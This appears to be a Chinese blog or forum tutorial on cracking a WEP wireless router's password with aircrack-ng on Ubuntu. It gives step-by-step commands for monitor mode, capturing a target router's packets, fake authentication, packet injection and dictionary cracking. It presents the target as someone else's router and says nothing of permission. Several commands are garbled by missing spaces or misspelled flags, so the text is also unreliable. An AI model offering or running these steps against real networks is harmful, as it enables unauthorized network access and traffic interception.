用的是ubuntu系統(tǒng)，沒用linux系統(tǒng)的至少要在WIN里面安裝ubuntu。

1、安裝aircrack-ng在終端中輸入 sudo apt-getinstall aircrack-ng

2 、啟動無線網(wǎng)卡的監(jiān)控模式，在終端中輸入：sudo airmon-ngstart wlan0

3 、看看有哪些無線路由在工作，在終端中輸入：sudo airodump-ngmon0

然后按 ctrl+c 退出，保留終端。

4 、抓包，另開一個終端，輸入：sudo airodump-ng -c 6--bssid 11:22:33:44:55:66 -w wep mon0

(-c 后面跟著的6是要破解的路由器的工作頻道，--bissid后面跟著的11:22:33:44:55:66是欲破解無線路由的MAC地址，-w后面跟著的是抓下來的數(shù)據(jù)包的文件名，在步驟2可以查看正在工作的無線路由的頻道和MAC地址，保存的文件名可隨便命名)

5 、注入破解的話要與目標路由器建立虛擬連接，再另開一個終端，輸入：

sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -haa:bb:cc:dd:ee:ff mon0

(-h后面跟著的aa:bb:cc:dd:ee:ff 是自己的無線網(wǎng)卡的MAC地址)，如果不知道可以在終端輸入ifconfig 查看。

6 、成功建立虛擬連接后輸入：

sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0

進行注入，注入破解是為了加快抓包的速度。

7 、收集15000(用Bt4破解時的收集數(shù)據(jù)的個數(shù))個以上的數(shù)據(jù)之后，另開一個

終端，輸入：sudo aircrack-ng wep*.cap ，進行解密。注意這里命令的文件名要和步驟4一致。

Please specify a dictionary (option -w).這是提示找不到字典

再輸入aircrack-ng –w 字典 wep-01.cap開始破解

8、破解出密碼后在終端中輸入 sudo airmon-ng stopmon0 關閉監(jiān)控模式，不然無線網(wǎng)卡會一直向剛剛的無線路由進行注入

注意aircrack-ng里不帶字典，需要將bt6里的字典或者自己生成的字典放到ubuntu的主文件夾中格式為xxx.txt

最新評論